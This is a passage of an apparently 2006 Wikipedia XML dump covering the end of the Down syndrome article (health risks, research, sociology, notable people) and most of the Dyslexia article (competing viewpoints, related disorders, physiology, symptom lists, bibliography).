* [http://www.ds-health.com/recordsheet2.htm Children Age 13 to Adulthood]

A partial list of risks is given below.  Risks run from 80% (hearing deficits) to 50% (congenital heart defects) to 20% (hypothyroidism) to rare but significantly increased risks (Leukemia).
* [[Congenital heart disease|Congenital heart defects]]
* Increased susceptibility to infection
* Muscular/Skeletal abnormalities, including generally poor muscle tone.
* Respiratory problems
* [[sleep apnea|Obstructive sleep apnea]]
* [[Gastroesophageal reflux disease|Gastroesophageal reflux disease]]
* Obstructed digestive tracts
* [[Thyroid]] dysfunctions ([[hypothyroidism]])
* [[Acute myelogenous leukemia|Acute myeloid leukemia]], although their survival and relapse rate is much better than average
* [[Infertility]] (nearly absolute in males, fertility in females is possible)
* Hearing deficits
* Eye problems ([[cataract]]s, [[strabismus]], near and far sightedness)
* [[Alzheimer's disease]]

There is some evidence that individuals with Down syndrome have a much lower rate of lung cancer than others, as is expected for all cancers caused by [[Tumor suppressor gene|tumor suppressor genes]].

As with all risks, this does not mean that everyone with Down syndrome will get these diseases, nor that an individual will get '''any''' of them.  The concentration on wellness in individuals with Down syndrome and increased medical technology has vastly improved the length and quality of life.  Current estimates ([http://www.ndss.org/content.cfm?fuseaction=InfoRes.HlthArticle&amp;article=19 7]) give life expectancy in the United States as 55 years, compared to 77 years for the population in general.  This life expectancy is a tremendous increase in recent years.

== Medical research ==
Of the inborn differences that affect intellectual capacity, Down syndrome is the most prevalent and best studied. Down syndrome is a term used to encompass a number of [[genetic disorder]]s of which [[Aneuploidy#Trisomy|trisomy]] 21 is the most frequent (95% of cases). Discovered by the Parisian physician Jerome Lejeune in 1959, Trisomy 21 is the existence of the third copy of the [[chromosome]] 21 in cells throughout the body of the affected person. Other Down syndrome disorders are based on the duplication of the same subset of [[gene]]s (e.g., various translocations of chromosome 21). Depending on the actual [[etiology]], the degree of impairment may range from mild to severe. In rare cases trisomy 21 is present in some cell lines but not all, due to an anomalous early cell division in the [[zygote]]. There is evidence that this variant, called '''mosaic Down syndrome''', may produce less developmental delay, on average, than full trisomy 21. 
[http://www.imdsa.com]
[http://www.ds-health.com/mosaic.htm 3]

Trisomy 21 results in over-[[expression of genes]] located on chromosome 21. One of these is the [[superoxide dismutase]] gene. Some (but not all) studies have shown that the activity of the superoxide dismutase enzyme ([[SOD]]) is elevated in Down syndrome. SOD converts [[oxygen radicals]] to [[hydrogen peroxide]] and [[water]]. Oxygen radicals produced in cells can be damaging to cellular structures, hence the important role of SOD. However, the hypothesis says that once SOD activity increases disproportionately to [[enzyme]]s responsible for removal of hydrogen peroxide (e.g., [[glutathione peroxidase]]), the cells will suffer from a peroxide damage. Some scientists believe that the treatment of Down syndrome [[neuron]]s with [[free radical]] scavengers can substantially prevent neuronal degeneration. Oxidative damage to neurons results in rapid [[human brain|brain]] aging similar to that of [[Alzheimer's disease]]. 

Another chromosome 21 gene that might predispose Down syndrome individuals to develop Alzheimer's pathology is the gene that encodes the precursor of the [[amyloid protein]]. Neurofibrillary tangles and amyloid plaques are commonly found in both Down syndrome and Alzheimer's individuals. Layer II of the [[entorhinal cortex]] and the subiculum, both critical for [[memory consolidation]], are among the first affected by the damage. A gradual decrease in the number of nerve cells throughout the [[cortex (neuroanatomy)|cortex]] follows. A few years ago, [[Johns Hopkins University|Johns Hopkins]] scientists created a genetically engineered [[mus musculus|mouse]] called Ts65Dn (segmental trisomy 16 mouse) as an excellent model for studying the Down syndrome. Ts65Dn mouse has genes on chromosomes 16 that are very similar to the human chromosome 21 genes. With this [[animal model]], the exact causes of Down syndrome neurological symptoms may soon be elucidated. Naturally, Ts65Dn research is also likely to highly benefit Alzheimer's research.

While there are a number of commercially promoted dietary supplements on the market, especially in the USA, mainly involving various combinations of vitamins and minerals, none of these have been medically approved for use in the UK for the mass treatment of people with Down syndrome and none appear to lead to any proven lasting benefits. All remain highly controversial.

== Challenges ==
{{section-stub}}
=== Pregnant women with a diagnosis of Down syndrome ===
{{section-stub}}

=== Parents of children with Down syndrome ===
{{section-stub}}
=== Individuals with Down syndrome ===
{{section-stub}}

== Down syndrome's sociology ==
{{NPOV-section}}
Advocates for people with Down syndrome stress that affected individuals have the same [[human right]]s and [[emotion]]s as any other human beings. Down syndrome is considered grounds for [[abortion]] in an increasing number of countries. The number of children born with Down syndrome is decreasing due to the large number of abortions following an early diagnosis of Down syndrome during pregnancy. In a hearing before the German Parliament, doctors stated that 90% of all fetuses [[prenatal diagnosis|prenatally diagnosed]] with Down syndrome are aborted. This number is consistent with the official statistics, wherein 1500 children with Down syndrome should, statistically, have been born per year (at a prevalence rate of 1:600), but only 63 per annum were listed in the 1995 birth register.  In the United States numbers are reported to fluctuate between 70-80% of all women diagnosed during pregnancy will opt to terminate the pregnancy because of Down syndrome.  Advocates for Down syndrome state this is similar to eugenics and is often based in fear of the unknown.  Further, they argue that many parents given the information of a Down diagnosis are not fully informed on the wide range of the disorder or that there is an adoption waiting list full of people who wish to have a child with Down syndrome. 

Advocates for people with Down syndrome also point to various factors, such as special education and parental support groups, that make life easier for parents of children with the disorder.  There are also great strides being made in education, housing, and social settings to create &quot;Down-friendly&quot; environments.  It is argued that many only view people with Down's in the ways of the past, limiting them to sub-standard possibilities in life and ignoring their very real social needs. In most developed countries, since the early 20th century many people with Down syndrome were housed in &quot;mental subnormality&quot; institutions or colonies and excluded from society. However, in the 21st century there is a moving change among parents, educators and other professionals generally advocate a policy of &quot;inclusion&quot;, bringing people with any form of mental or physical disability into general society as much as possible. In many countries, people with Down syndrome are educated in the normal school system and there are increasingly higher quality opportunties to mix &quot;special&quot; education with regular education settings.

Despite this change, the reduced abilities of people with Down syndrome pose a challenge to their parents and families. While living with their parents is preferable to institutionalization for most adults with Down syndrome, they often encounter patronising attitudes and discrimination in the wider community. Social views of persons with Down still rest on the pre-intervention days when babies were immediately isolated and lacked proper social interaction and stimulation.  The case is there are wide ranges of ability among persons living with Down and many are capable of living &quot;normal&quot; lives with some degree of assistance just as other disabled persons may.  This means people with Down syndrome are able to run their own household, apply for a regular job, get a driver's licence and take care of insurances, etc, by themselves. It is preferable to institutional living, the 1980's and 1990's experiments with group homes were not especially successful, and a number of new models are emerging. In the past few years the independent (supported) living model has found favour with UK governments. With Direct Payments, some people are able to employ their own staff. Individuals can take on their own tenancy,or shared ownership and receive support from a skilled caregiver in organizing their own life, studies, career, and outside interests. For an example of a young woman using Direct Payments for this, see [http://caslater.freeservers.com/Karensflat.htm]

== Notable individuals ==
Notable people with Down syndrome include:
* [[Stephane Ginnsz]], actor (''[[Duo (film)]]'') First actor with Down syndrome in the lead part of a motion picture.  
* [[Chris Burke (actor)|Chris Burke]], actor (''[[Life Goes On]]'') and autobiographer
* [[Andrea Friedman]], actor (''[[Life Goes On]]''), guest appearances on many other shows
* [[Pascal Duquenne]], actor (''[[Le Huitième Jour]]'' aka The Eighth Day, ''[[Toto le héros]]'' aka Toto the Hero)
* [[Anne de Gaulle]] ([[1928]]-[[1948]]), daughter of [[Charles de Gaulle]]
* [[Miguel Tomasin]], singer with Argentinian avant-rock band [[Reynols]]

== Down syndrome in fiction ==
* [[Bret Lott]]: &quot;[[Jewel (book)|Jewel]]&quot;
* [[Morris West]]: &quot;[[The Clowns of God]]&quot;
* [[Bernice Rubens]]: ''[[A Solitary Grief]]''
* [[Emily Perl Kingsley]]: &quot;[[Welcome to Holland]]&quot;
* [[The Kingdom (television)|The Kingdom]] and its American counterpart, ''[[Kingdom Hospital]]''
* [[Elizabeth Laird]]: ''Red Sky in the Morning''
* [[Stephen King]]: &quot;[[Dreamcatcher (novel)|Dreamcatcher]]&quot;
* [[Dean Koontz]]: &quot;[[The Bad Place (novel)|The Bad Place]]&quot;
* [[Alex Ginnsz]]: &quot;[[Duo (film)|Duo]]&quot;
* [[Flannery O'Connor]]: ''[[The Violent Bear It Away]]''
* [[Benjamin Compson]]: ''[[The Sound and the Fury]]''

== Sources ==
* Hook EB. Rates of chromosomal abnormalities at different maternal ages. ''Obstet Gynecol'' 1981;58:282.
* [http://www.intellectualdisability.info/values/history_DS.htm 2:www.intellectualdisability.info/values/history_DS.htm]
* [http://www.ds-health.com/mosaic.htm 3:www.ds-health.com/mosaic.htm]
* [http://www.newscientist.com/news/news.jsp?id=ns99992073 4:www.newscientist.com/news/news.jsp?id=ns99992073]
* [http://www.cdss.ca/en/about_us/policies_and_statements/down_syndrome.htm 5:www.cdss.ca/en/about_us/policies_and_statements/down_syndrome.htm]
* [http://www.ds-health.com/ 6:www.ds-health.com]
* [http://www.ndss.org/content.cfm?fuseaction=InfoRes.HlthArticle&amp;article=19 7:www.ndss.org/content.cfm?fuseaction=InfoRes.HlthArticle&amp;article=19]

== Further reading ==
* ''Down Syndrome: The Facts.'' (1997), Selikowitz, M.(2nd ed.). Oxford, UK; New York, NY, USA: Oxford University Press.
* ''Down Syndrome: A Promising Future, Together.'' (1999), Hassold, T. J. and Patterson, D. (Eds.). New York, NY, USA: Wiley Liss. 
* ''Count us in - Growing up with Down syndrome.'' (1994) Kingsley, J. and Levitz, M. (1994) San Diego, CA, USA: Harcourt Brace. 
* ''Medical and Surgical Care for Children with Down Syndrome: A Guide for Parents.'' (1995) Van Dyke, D. C., Mattheis, P. J., Schoon Eberly, S., and Williams, J. Bethesda, MD, USA: Woodbine House. 
* ''Adolescents with Down Syndrome: Toward a More Fulfilling Life.'' (1997) Pueschel, S. M. and Sustrova M. (Eds.)  Baltimore, MA, USA: Paul H. Brookes Pub.
* ''Living with Down syndrome'' (2000), Buckley, S. Portsmouth, UK: The Down Syndrome Educational Trust. Also available online: http://www.down-syndrome.info/library/dsii/01/01/
* ''Expecting Adam'' (1999), Beck, Martha N. Ph.D., New York, NY, USA: Berkley Books.
*''Choosing Naia: A Family's Journey'' (2002), Zuckoff, Mitchell, New York, NY, USA: Beacon Press.

== External links ==
* [http://www.cdss.ca Canadian Down Syndrome Society]
* [http://www.imdsa.com International Mosaic Down Syndrome Association]
* [http://www.alldownsyndrome.com AllDownSyndrome.com]
* [http://www.duo.agprods.com The Official Site of the Film Duo, starring Stephane Ginnsz]
* [http://www.stephane.ginnsz.com Stephane Ginnsz, Actor with Down Syndrome - Official Website]
* [http://www.downsed.org/about/overview/key-facts-EN-GB.htm Key facts about Down syndrome]
* [http://www.down-syndrome.info/library/dsii/01/01/DSii-01-01-EN-GB.htm Living with Down syndrome (Online book)]
* [http://www.down-syndrome.info/ Down Syndrome Information web site]
* [http://www.ndss.org/ National Down Syndrome Society web site]
* [http://www.ndsccenter.org/ National Down Syndrome Congress web site]
* [http://www.downsyn.com/ Down Syndrome: For New Parents]
* [http://www.downsed.org/ The Down Syndrome Educational Trust web site]
* [http://www.dsrf.org/ Down Syndrome Research Foundation web site]
* [http://www.dsa-uk.com/ UK Down's Syndrome Association web site]
* [http://www.down-syndrome.info/library/periodicals/dsrp/06/1/019/DSRP-06-1-019-EN-GB.htm Information on the original description of Down syndrome]
* [http://www.ericdigests.org/pre-9211/down.htm Down Syndrome]
* [http://www.nelh.nhs.uk/screening/dssp/procedures.htm Down Syndrome testing in UK]
* [http://www.laptopical.com/news/laptop-education-19352.html Down Syndrome child learning with laptops]
* [http://www.nichd.nih.gov/publications/pubs/downsyndrome/down.htm Genetics of Down Syndrome]
* [http://www.ygyh.org/ds/whatisit.htm Your Genes/Your Health information on Down syndrome]
* [http://www.ds-health.com/ Down syndrome: Health Issues.  Medical Essays and Information]
[[Category:Congenital genetic disorders]]
[[Category:Disability]]
[[Category:Eponymous diseases]]
[[Category:Pediatrics]]

[[da:Downs syndrom]]
[[de:Down-Syndrom]]
[[es:Síndrome de Down]]
[[fr:Syndrome de Down]]
[[he:תסמונת דאון]]
[[it:Sindrome di Down]]
[[ja:ダウン症候群]]
[[ko:다운증후군]]
[[nl:Syndroom van Down]]
[[no:Downs syndrom]]
[[pl:Zespół Downa]]
[[pt:Síndrome de Down]]
[[ru:Болезнь Дауна]]
[[fi:Downin syndrooma]]
[[sv:Downs syndrom]]
[[zh:唐氏综合症]]
[[sr:Даунов синдром]]</text>
    </revision>
  </page>
  <page>
    <title>Dyslexia</title>
    <id>8305</id>
    <revision>
      <id>42088441</id>
      <timestamp>2006-03-03T19:23:09Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <comment>/* See also */ added one</comment>
      <text xml:space="preserve">{{expert}}
{{unreferenced}}
{{DiseaseDisorder infobox |
  ICD10       = F81.0, R48.0 |
  ICD9        = {{ICD9|315.02}}, {{ICD9|784.61}} |
}}
'''Dyslexia''' is said to be a [[neurological disorder]] with [[biochemistry|biochemical]] and [[genetics|genetic]] markers. Dyslexia was originally defined as a difficulty with reading and writing that could not be explained by general intelligence.  One diagnostic approach is to compare their ability in areas such as reading and writing to that which would be predicted by his or her general level of [[Intelligence (trait)|intelligence]], but some would say that it is not certain that intelligence should be a predictor of reading or writing ability; and also that the causes, effects and treatments of reading disabilities may be similar for all levels of intelligence.

However, as has been discovered only in the last decade, individuals may read and write perfectly and still have dyslexia (see [[#Characteristics|characteristics]] below), but this is disputed. Other contradictions are also said to exist among those diagnosed with dyslexia seeming to point to the fact that dyslexia is a highly complicated disorder. [[Neuroscience|Neuroscientific]], [[psychology|psychological]], and [[education|educational]] research is still needed to understand the scope of dyslexia.

There are alternative definitions of dyslexia and much debate over the definition of dyslexia and how best to treat it. The [[British Psychological Society]] does not describe it as a mental condition or neurological disorder:
: &quot;It is very common to try and deal with dyslexia as if it is a mental condition, with one test and one feature but that is just not the case&quot; {{Ref|BPS2004Court}}.
The British Dyslexia Association defines dyslexia as 'a difference in the brain area that deals with language'.
The BPS does not link dyslexia with intelligence in their definition:
: &quot;Dyslexia is evident when accurate fluent word reading and or spelling develops incompletely or with great difficulty. This focuses on literacy learning at the 'word level' and implies that the problem is severe and persistent despite appropriate learning opportunity&quot;
: &quot;Learning difficulties of a Dyslexic nature are not defined by general ability as measured by IQ, but by cognitive processes under-pinning basic literacy. Learners representing a wide range of general ability and IQ can have dyslexic problems&quot;.

The term was coined in 1884 by R. Berlin {{Ref|BerlinR1884}}.  People are diagnosed as '''dyslexic''' when their reading problems cannot be explained by a lack of intellectual ability, inadequate instruction, or sensory problems such as poor eyesight. Because reading is a complex mental process, dyslexia has many potential causes. From a neurophysiological perspective, dyslexia can be diagnosed by close inspection of the morphology of the [[brain]], usually upon [[autopsy]]. Dyslexia is also associated with [[phonology|phonological]] difficulties, such as [[enunciation]].

== Debate and Controversy ==
There is much debate and indeed controversy over the definition, cause and treatment of dyslexia. Here is an attempt to summarize some of the viewpoints expressed on the subject. Other parts of this article will discuss the correctness or otherwise of these viewpoints.

==== Viewpoint 1: 'Dyslexia is simply reading difficulty, and is also easily explained and cured' ====
This point of view is relatively uncommon among the general public and dyslexics themselves, but is said to be very popular among the scientific community involved with education - see the [[#References]] at the bottom on this article.

: '''Cause:''' ''This point of view contends that:''
:# Dyslexia is primarily caused by insufficient quality of education, both in the home (such as letting young children watch TV instead of reading nursery rhymes to them) and in the classroom (such as teachers using [[whole language]] and other novel teaching schemes to the exclusion of traditional [[Phonics#Theory and alternatives|Phonics]]).
:# There may be some genetic or hereditary factors or even nutritional factors that may modify a child's desire or ability to read, but they do not cause a problem which can't be fixed with a little early extra traditional education.
:# Reading and writing are fundamental basic processes that almost every human is perfectly capable of, along with speech and walking. :# Some say there may be a very small group (&lt;1%) of people who really do have severe difficulties with reading that can't be solved with traditional education, but this is not relevant to the diagnosis and treatment of the ~10% of people described as dyslexic today.

: '''Treatment:''' ''This point of view contends that:''
:# Traditional teaching methods are the only proven methods for teaching reading.
:# There is no scientific evidence that novel methods such as coloured glasses or physical coordination exercises have any effect.
:# While some children may require more help than others, including one-to-one tuition, they will be totally cured (as opposed to having learned to live with the condition). 
:# Dyslexia amounts to nothing more than a delay in the learning process caused by a lack of quality education in the home and classroom.

: '''Definition''' ''This point of view contends that the definition should be:''
:# The term dyslexia, if it is to be of any use, should simply to be defined as those who currently have difficulty reading, regardless of its speculated cause.
:# The threshold separating dyslexics from non-dyslexics is entirely arbitrary.

==== Viewpoint 2: 'Dyslexia IS a neurological/mental disorder which affects about 10%' ====
: This is the popular point of view, at least among the general public, teachers, and dyslexics themselves, however it's now coming under sustained attack. Its primary contention is that there is more to dyslexia than Viewpoint 1 states. i.e. It's not just bad teaching, and it's inborn to about 10% of the population.

: '''Cause:''' ''This point of view contends that:''
:# There are a number of factors including genetics, but there is more research to be done.
:# Dyslexia is inevitable from birth and is not related to the quality of traditional education given.
:# Dyslexia cannot be cured, only treated.
:# Those who are successfully treated are still in some sense 'different' than non-dyslexics who are at the same reading level. Perhaps in terms of brain structure or brain activity.
:# Dyslexic children are different from non-dyslexics even if they are at the same reading level as them.

: '''Treatment:''' ''This point of view contends that:''
:# Coloured glasses, exercising the eyes, physical coordination exercises can treat dyslexia.
:# The testimony of a person who is dyslexic is to be believed. This includes self-analysis of brain function, or discussing the success or otherwise of treatments.

: '''Definition:''' ''This point of view contends that the definition should be:''
:# Dyslexia is a distinct mental condition which affects reading and writing ability. It's defined in such as way as to include about 10% of the population.

==== Viewpoint 3: 'The term dyslexia is essentially useless and should now be made obsolete to avoid confusion' ====
: '''Definition:''' ''This point of view contends that:''
:# The current popular definition used by the general public ('Dyslexia IS a neurological/mental disorder') is entirely incorrect and useless. The definition used by the scientific community is totally different and therefore the term just breeds confusion. There may be a group (perhaps less than 1% of the population, not 10%) who have reading difficulties untreatable by traditional education, but we should not use the term 'dyslexia' for their condition, because it will cause confusion. New terms should be created for any verifiable conditions.

==Variations and related disorders==
Dyslexia is a learning disorder.  Its underlying cause may be neurological in nature, but from there, the systems involved play out into visual, language, etc. [[FMRI]] (Functional Magnetic Resonance Imaging) has been used to demonstrate differences in the dyslexic brain patterns, but much research still needs to be done to apply this information.

In addition to the typical forms of dyslexia, there are numerous related disorders:

* [[Auditory Processing Disorder]] is the cause of the phonological problems that many dyslexics experience, and causes problems in the auditory memory or working memory and this can cause some memory issues.

* [[Semantic dyslexia]] - a form of dyslexia characterized by an inability to properly attach words to their meanings in reading and/or in speech.
* [[Scotopic sensitivity syndrome]] - a form of dyslexia which makes it very difficult for a person to read black text on white paper, particularly when the paper is slightly shiny.
* [[Dyspraxia]] - a neurological disorder characterised by a marked difficulty in carrying out routine tasks involving balance, fine-motor control, and kinesthetic coordination.
* [[Verbal Dyspraxia]] - a neurological disorder characterised by marked difficulty in the use of speech sounds, which is the result of an immaturity in the speech production area of the brain. 
* [[Dysgraphia]] - a neurological disorder characterised by distorted and incorrect writing. 
* [[Dyscalculia]] - a neurological disorder characterised by a problem with learning fundamentals and one or more of the basic numerical skills. Often people with this disorder can understand very complex mathematical concepts and principles but have difficulty processing formulas and even basic addition and subtraction.

==Facts and statistics==
Between 5 and 15 percent of the [[population]] can be [[diagnose]]d as suffering from various degrees of dyslexia.  As previously mentioned, dyslexia can be substantially compensated for with proper therapy, training and equipment.

Most researchers agree that there is a fairly even gender balance amongst dyslexics, and that the fact that it is reported more in males is because of selection factors and bias.

Dyslexia's main manifestation is a difficulty in developing reading skills in [[elementary school]] children. Those difficulties result from reduced ability to associate visual symbols with verbal sounds.  While motivational factors must also be reviewed in assessing poor performance, dyslexia is considered to be an inborn trait and rarely arises from environmental factors after the brain has matured beyond its especially plastic condition during infancy.

Some have disagreed with these findings, however, and believe that while dyslexia may sometimes be inborn, it is often attributable to lack of [[phonics]] training when learning to read, and also attributed to the preponderance of the [[whole language]] system.

==Physiology and treatment==
Only traditional educational remedial techniques have any record of improving the reading ability of those diagnosed with dyslexia {{Ref|AAP1998}}. There is no evidence that coloured lenses, any visual training, or similar proposed treatments are of any use. Anecdotal reports of success can be explained by other factors.

Even a few weeks of intense [[phonological training]] (often involving breaking down and rearranging sounds to produce different words) can help noticeably improve reading skills. The earlier the phonological regimen is taken on, the better the overall result. Advanced brain scans could identify children at risk of dyslexia before they can even read, although it is thought that simple tests of balance could do the same. It has also been shown that early diagnosis and treatment can almost completely eliminate the  dyslexic symptoms from some of the underlying causes. It is claimed that many of the underlying causes of dyslexia are of a genetic nature and that there are no cures, only strategies to work around the causes of a persons dyslexia, however these two claims are disputed. 

It had been believed that keeping a child active, perhaps by giving them housework, or performing physical exercises, would help with dyslexia. However, this is false (Wilsher 2002 - Dyslexia, Volume 8, Number 2, April/June 2002, pp. 116-117(2)). There is no scientific evidence in support of this theory.

One hypothesis for some of the symptoms of an underlying cause of dyslexia is a lack of overall short-term memory. Typically a dyslexic will not remember a person's name, and will suffer an undue amount of difficulty in transcribing (for example) a phone number. These problems could be attributed to the short term memory having to run the coping strategies needed to overcome a range of issues caused by the underlying causes of dyslexia. 

Researchers studying the brains of dyslexics have found that during reading tasks, dyslexics show reduced activity in the left [[inferior]] [[parietal cortex]]. It is [[Anecdotal evidence|anecdotally]] claimed that it is not that uncommon for dyslexics who have trained themselves to cope with their affliction, to develop uncannily efficient visual memories which aid in reading and comprehending large quantities of information much faster than is typical. Commonly dyslexics show 10 times more brain activity when reading. Sometimes, depending of the type and extent, also writing, listening and speaking. However, increased brain activity is not necessarily a sign of better processing. Conversely, some dyslexics may show a natural dislike of reading and, in consequence, compensate by developing unique [[verbal]] [[communication skills]], inter-personal expertise, and leadership skills - however these possible outcomes are the same for people who have no difficulty reading.  Different people adopt different strategies for living with the same affliction. It is said that this may be because there may be different underlying causes of their dyslexia.

In [[1979]], anatomical differences in the brain of a young dyslexic were documented. [[Albert Galaburda]] of [[Harvard Medical School]] noticed that the [[language center]] in a dyslexic brain showed microscopic flaws known as [[ectopia]]s and [[microgyria]]. Both affect the normal six-layer structure of the [[cortex (neuroanatomy)|cortex]]. An ectopia is a collection of [[neuron]]s that have pushed up from lower [[cortical layers]] into the outermost one. A microgyrus is an area of cortex that includes only four layers instead of six. However, this may well have nothing to do with dyslexia - it was only a study of one brain, not a scientically controlled study of a large number of brains. Also, changes in brain structure do not tell us anything about the root cause or possible treatments - it could be genetic, or the brain structure could simply be a result of a combination of insufficient education  along with the actions of the dyslexic, causing the brain to develop in a particular way. The causes and effects of dyslexia are difficult to disentangle.

These flaws affect connectivity and functionality of the cortex in critical areas related to sound and [[visual processing]]. These and similar structural abnormalities may be the basis of the inevitable and hard to overcome difficulty in reading.

Several [[genetics|genetic]] regions on [[chromosome]]s 1 and 6 have been found that might be linked to dyslexia. In all likelihood, dyslexia is a conglomeration of disorders that all affect similar and associated areas of the cortex. With time, science is likely to identify and classify all individual suborders with benefits to our understanding of how low-level genetic flaws can affect the wiring of the [[brain]] and enhance or reduce a particular component of human mental capacity.

Some studies have concluded that speakers of languages whose orthography has a strong correspondence between letter and sound (e.g. [[Korean language|Korean]] and [[Italian language|Italian]]) have a much lower incidence of dyslexia than speakers of languages where the letter is less closely linked to the sound (e.g. [[English language|English]] and [[French language|French]]). {{ref|MITNews}}

Whether  models of dyslexia are correct or not, the main lesson of dyslexia is that minor genetic changes affecting the layering of the cortex in a minor area of the brain may impose limitations on the overall intellectual function. At the same time, dyslexia shows that the brain exhibits a strong ability to compensate for its acquired limitations, and intense training can often result in miraculous turnabouts.

===Characteristics===
Most dyslexics will exhibit about 10 of the following traits and behaviors. These characteristics can vary from day-to-day or minute-to-minute. The most consistent thing about dyslexics is their inconsistency.  Symptoms increase dramatically with confusion, time pressure, emotional stress, or poor health.
This may vary according to which of the suggested underlying causes of dyslexia affect the individual dyslexic.{{ref|37Symptoms}}

====General====
* Appears to be bright, seemingly highly intelligent, and articulate but unable to read, write, or spell at grade level. 
* Isn't &quot;behind enough&quot; or &quot;bad enough&quot; to be helped in the school setting. 
* Feels dumb; has poor self-esteem; hides or covers up weaknesses with ingenious compensatory strategies; easily frustrated and emotional about school reading or testing. 
* Perhaps talented in either art, drama, music, sports, mechanics, story-telling, sales, business, designing, building, or engineering. 
* Seems to &quot;Zone out&quot; or daydream often; gets lost easily or loses track of time. 
* Difficulty sustaining attention; seems &quot;hyper&quot; or &quot;daydreamer.&quot; 
* Learns best through hands-on experience, demonstrations, experimentation, observation, and visual aids.

====Vision, reading, and spelling====
There is no scientific evidence that a relationship exists between reading failure and perceptual ability or 
that visual training provides effective treatment.
[http://aappolicy.aappublications.org/cgi/ijlink?linkType=ABST&amp;journalCode=pediatrics&amp;resid=73/6/824].

====Hearing and speech====
* Has extended hearing; hears things not said or apparent to others; easily distracted by sounds. 
* Difficulty putting thoughts into words; speaks in halting phrases; leaves sentences incomplete; stutters under stress; mispronounces long words, or transposes phrases, words, and syllables when speaking.

====Writing and motor skills====
* Trouble with writing or copying; pencil grip is unusual; handwriting varies or is illegible. 
* Clumsy, uncoordinated, poor at ball or team sports; difficulties with fine and/or gross motor skills and tasks; prone to motion-sickness. 
* Can be [[ambidextrous]], and often confuses left/right, over/under.
*May write in &quot;mirror writing&quot; (writing that appears backwards, but can be read when reflected in a mirror)

====Math and time management====
* Has difficulty telling time, managing time, learning sequenced information or tasks, or being on time. 
* Shows dependence on finger counting and other tricks when doing math; knows answers, but can't do it on paper. 
* Can count, but has difficulty counting objects and dealing with money. 
* Can do arithmetic, but fails word problems; when doing math must see the big picture before the detail.

====Memory and '''cognition'''====
* Excellent long-term memory for experiences, locations, and faces.
* Poor memory for sequences, facts and information that have not been experienced. 
* Thinks primarily with images and feeling, not sounds or words (little internal dialogue).

====Behavior, health, development and personality====
* Extremely disorderly or compulsively orderly. 
* Can be class clown, trouble-maker, or too quiet. 
* Had unusually early or late developmental stages (talking, crawling, walking, tying shoes). 
* Prone to ear infections; sensitive to foods, additives, and chemical products. 
* Can be an extra deep or light sleeper; bedwetting beyond appropriate age. 
* Unusually high or low tolerance for pain. 
* Strong sense of justice; emotionally sensitive; strives for perfection.

==Public support==
In the [[United States]], [[Canada]] and in the [[United Kingdom]], some people say that there is a lack of adequate support and a general lack of interest in the learning disabilities of children in public schools. This has recently led to legal action by private parties against public schools in the United States and state schools in the United Kingdom. 

Some charitable organizations like the [[Scottish Rite]] Foundation have undertaken the task of testing for dyslexia and making training classes and materials available for teachers and students. [http://www.alscottishritelearningcenters.com/Workshop%20topics.htm] [http://www.glmasons-mass.org/Grand_Lodge/family/srcentr.htm] [http://www.austinscottishrite.org/srcharity.html]

In [[English law]], the failure of schools to diagnose and provide remedial help for dyslexia became grounds for personal injury litigation in 1999 following a [[House of Lords]] decision in the case of [[Pamela Phelps]]. Students with dyslexia in Higher Education may receive support funded via the Disabled Students Allowance.  Support can take the  form of IT equipment (software and hardware) as well as personal assistance, also known as non-medical helper support.  Dyslexic students will also be entitled to special provision in examinations such as additional time to allow them to read and comprehend exam questions.

The British [[Disability Discrimination Act]] also covers dyslexia.

:''&quot;In some cases, people have 'coping strategies' which cease to work in certain circumstances (for example, where someone who [[Stuttering | stutters]] or has dyslexia is placed under stress). If it is possible that a person's ability to manage the effects of the impairment will break down so that these effects will sometimes occur, this possibility must be taken into account when assessing the effects of the impairment.&quot;'' &amp;mdash; Paragraph A8, Guidance to the Definitions of Disability

Many doctors and teachers diagnose students with [[Attention Deficit Disorder]] rather than dyslexia. Of all the conditions that can mimic, mask or co-exist with ADD, dyslexia is probably the most well known. It is also one of the most misunderstood. Dyslexia is a learning disability that affects 17-20% of school age children according to the Department of Health, Education and Welfare. Like ADD, the dyslexic mind functions differently than others. Dyslexic children, like ADD children, tend to be above average intelligence, if not gifted. But they have specific difficulties with words. They have difficulty recalling words, even words they are familiar with. They also have difficulty with sequencing. Letters and syllables can become inverted (like &quot;aminal&quot;) as can entire words. (&quot;Come here over.&quot;) The child may have trouble distinguishing between the letters &quot;b,&quot; &quot;d,&quot; &quot;q&quot; and &quot;p.&quot;

==Bibliography==
* de Lacoste-Utamsing, C., and Holloway, R., Sexual Dimorphism in the Human Corpus Callosum, Science, Vol 216, 1982. 
* Dennis, M., Impaired Sensory and Motor Differentiation with CC Agenesis: A Lack of Callosal Inhibition during Ontogeny? Neuropsychologia, vol 14 p. 455-469, 1976.  
* Duffy, F., Denkla, M., Bartels, P., and Sandini, G., Dyslexia: Regional Differences in Brain Electrical Activity by Topographic Mapping, Annals of Neurology, vol 7 #5, 1980 
* Ettlinger, G., Blakemore, C. B., Milner, A. D., and Milner J., Agenesis of the Corpus Callosum: A behavioral Investigation, Brain, vol 75, 1972. 
* Ferriss, G. S., and Dorsen, M., Agenesis of the Corpus Callosum: Neuropsychological Studies, Cortex, vol2, #2, 1975. 
* Gazzaniga, M. S., Cognitive and Neurologic Aspects of Hemispheric Disconnection in the Human Brain, Discussions in Neurosciences, vol 4,  #4, FESN, 1978. 
* Gazzaniga, M., Consistency and Diversity in Brain Organization, Annals of the New York Academy of Sciences, vol 299, Ps 415-424, 1977. 
* Gladstone, M., and Best, C. T., Developmental Dyslexia: The Potential Role of Interhemispheric Collaboration in Reading Acquisition, Hemispheric Function and Collaboration in the Child, Ed., Catherine Best, Academic Press 1983. 
* Gross, K., Rothenberg, S., Schottenfield, S., and Drake, C., Duration Thresholds for Letter Identification in Left and Right Visual Fields for Normal and Reading-Disabled Children, Neuropsvchologia, vol 6, 1978. 
* Gross-Glenn, K., and Rothenberg, S., Evidence for Deficit in Interhemispheric Transfer of Information in Dyslexic Boys, International Journal of Neuroscience, vol 24, 1984. 
* Haggerty, R., and Stamm, J. S., Dichotic Auditory Fusion Levels in Children with Learning-Disabilities, Neuropsychologia, vol 16, 3, 1978. 
* Harris, A. J., Lateral Dominance and Reading Disability, Journal of Learning Disabilities, vol 12, #5 1979. 
* Horowitz, B., Rumsey, J.M. and Donohue, B.C., Functional Connectivity of the Angular Gyrus in Normal Reading and Dyslexia, Proceedings of the National Academy of Sciences, vol 95, July 21, 1998 
* Hynd, G.W. et al., Dyslexia and Corpus Callosum Morphology, Archives of Neurology, vol 52, Jan., 1995
